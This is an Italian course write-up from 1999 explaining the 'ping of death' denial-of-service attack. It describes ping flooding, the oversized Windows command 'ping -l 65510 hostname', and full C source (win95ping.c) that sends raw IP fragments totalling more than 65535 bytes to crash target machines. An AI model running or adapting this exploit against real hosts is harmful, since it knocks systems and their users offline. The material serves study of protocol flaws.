Evil Ping

Questo documento fa parte di un lavoro di ricerca che ho preparato assieme ai miei colleghi Raffaele Spangaro e Walter Vendraminetto per il corso di Reti di Calcolatori. Il codice sorgente e la breve spiegazione sono tratti da una pagina ad opera di Bill Fenner trovata casualmente su Internet.

Il comando ping

Il comando ping, molto noto agli utenti Unix e Unix-like, un po' meno per quelli Windows, ha, come scopo principale, quello di determinare la presenza e l'operatività di un computer connesso ad Internet. Molte versioni di ping, infatti, rispondono con un semplice messaggio del tipo ``hostname is alive'', mentre altre forniscono ulteriori informazioni statistiche sulla velocità di connessione con l'host in esame.

Il suo funzionamento è semplice. Sfruttando l'ICMP, il protocollo che cerca di risolvere i problemi che possono incorrere in una rete TCP/IP, il comando ping invia un pacchetto contenente la richiesta per il computer remoto di restituircelo intatto. Confrontando il pacchetto spedito con quello ricevuto, il programma è in grado di sapere che l'host è funzionante e il tempo che ha impiegato il pacchetto ad andare e tornare.

L'attacco con ping

L'opzione ``-f'' di ping, permette di inviare tanti pacchetti quanti la macchina sulla quale abbiamo lanciato il programma riesce a trasmettere. Unendo l'azione di piú computer è possibile abbattere le prestazione della macchina sotto attacco. Infatti questa sarà impegnata a replicare ai pacchetti ping da avere poche altre risorse per svolgere altri compiti.

Questo tipo di disturbo, anche se utilizzato in alcuni casi, nasconde un paio di aspetti negativi. Innanzi tutto anche le macchine che attaccano sono notevolmente caricate ad inviare i pacchetti di richiesta; anche la rete, inoltre, risulta sovraccarica tanto da intralciare altri pacchetti come quelli per un collegamento telnet o rlogin.

C'è un altro sistema per ottenere lo stesso risultato senza gli inconvenienti appena citati. Si tratta di sfruttare una eventualità non prevista dagli sviluppatori di software per rete. In ambiente Windows il comando

c:\windows\ping -l 65510 hostname

permette di aggiungere altri 65510 byte a quelli di ping creando un datagramma gigante che, nel tentativo di rispedirli indietro, confondono notevolmente il computer sottoposto a ping.

Gli effetti variano da sistema operativo a sistema operativo. Alcuni vanno letteralmente in crash, altri si arrestano o eseguono un reboot. Altri ancora smettono di funzionare dopo alcune ore.

Il codice

È possibile ottenere lo stesso risultato del comando ping di Windows anche sotto Unix. Il codice C seguente implementa un diabolico ping del tutto identico a quello bacato di Windows 95.

Non è difficile seguire il flusso del programma. Dopo aver allocato le variabili e controllato la raggiungibilità del nome dell'host immesso attraverso la linea di comando, si inizializza l'header del pacchetto IP da 1500 byte (buf), cosí il campo type del protocollo ICMP al valore di ``echo''.

Il ciclo for invia all'host sotto attacco una serie di pacchetti con il flag di fragmentazione alzato, fino a quando la somma dei byte che comporranno il pacchetto intero non supererà il valore di 65120 byte. Solo il primo frammento riporta il valore echo nell'ICMP. Il ciclo si chiude con l'invio di un ultimo frammento da 418 byte che, sommati ai precedenti, danno un totale di 65538 byte, eccedenti il campo da 16 bit (65535 byte) dell'header IP.


/* win95ping.c
 *
 * Simulate the evil win95 "ping -l 65510 buggyhost".
 * version 1.0 Bill Fenner <fenner@freebsd.org> 22-Oct-1996
 *
 * This requires raw sockets that don't mess with the packet at all (other
 * than adding the checksum).  That means that SunOS, Solaris, and
 * BSD4.3-based systems are out.  BSD4.4 systems (FreeBSD, NetBSD,
 * OpenBSD, BSDI) will work.  Linux might work, I don't have a Linux
 * system to try it on.
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/*
 * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
 * This is probably only Linux.
 */
#ifdef REALLY_RAW
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

int
main(int argc, char **argv)
{
        int s;
        char buf[1500];
        struct ip *ip = (struct ip *)buf;
        struct icmp *icmp = (struct icmp *)(ip + 1);
        struct hostent *hp;
        struct sockaddr_in dst;
        int offset;
        int on = 1;

        bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("socket");
                exit(1);
        }
        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                perror("IP_HDRINCL");
                exit(1);
        }
        if (argc != 2) {
                fprintf(stderr, "usage: %s hostname\n", argv[0]);
                exit(1);
        }
        if ((hp = gethostbyname(argv[1])) == NULL) {
                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                        fprintf(stderr, "%s: unknown host\n", argv[1]);
                }
        } else {
                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
        }

        printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
        ip->ip_v = 4;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_tos = 0;
        ip->ip_len = FIX(sizeof buf);
        ip->ip_id = htons(4321);
        ip->ip_off = FIX(0);
        ip->ip_ttl = 255;
        ip->ip_p = 1;
        ip->ip_sum = 0;                 /* kernel fills in */
        ip->ip_src.s_addr = 0;          /* kernel fills in */

        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;

        icmp->icmp_type = ICMP_ECHO;
        icmp->icmp_code = 0;
        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
                /* the checksum of all 0's is easy to compute */

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
                ip->ip_off = FIX(offset >> 3);
                if (offset < 65120)
                        ip->ip_off |= FIX(IP_MF);
                else
                        ip->ip_len = FIX(418);  /* make total 65538 */
                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                        sizeof dst) < 0) {
                        fprintf(stderr, "offset %d: ", offset);
                        perror("sendto");
                }
                if (offset == 0) {
                        icmp->icmp_type = 0;
                        icmp->icmp_code = 0;
                        icmp->icmp_cksum = 0;
                }
        }
}

Lorenzo Cappelletti
Last modified: Mon May 24 16:57:10 CEST 1999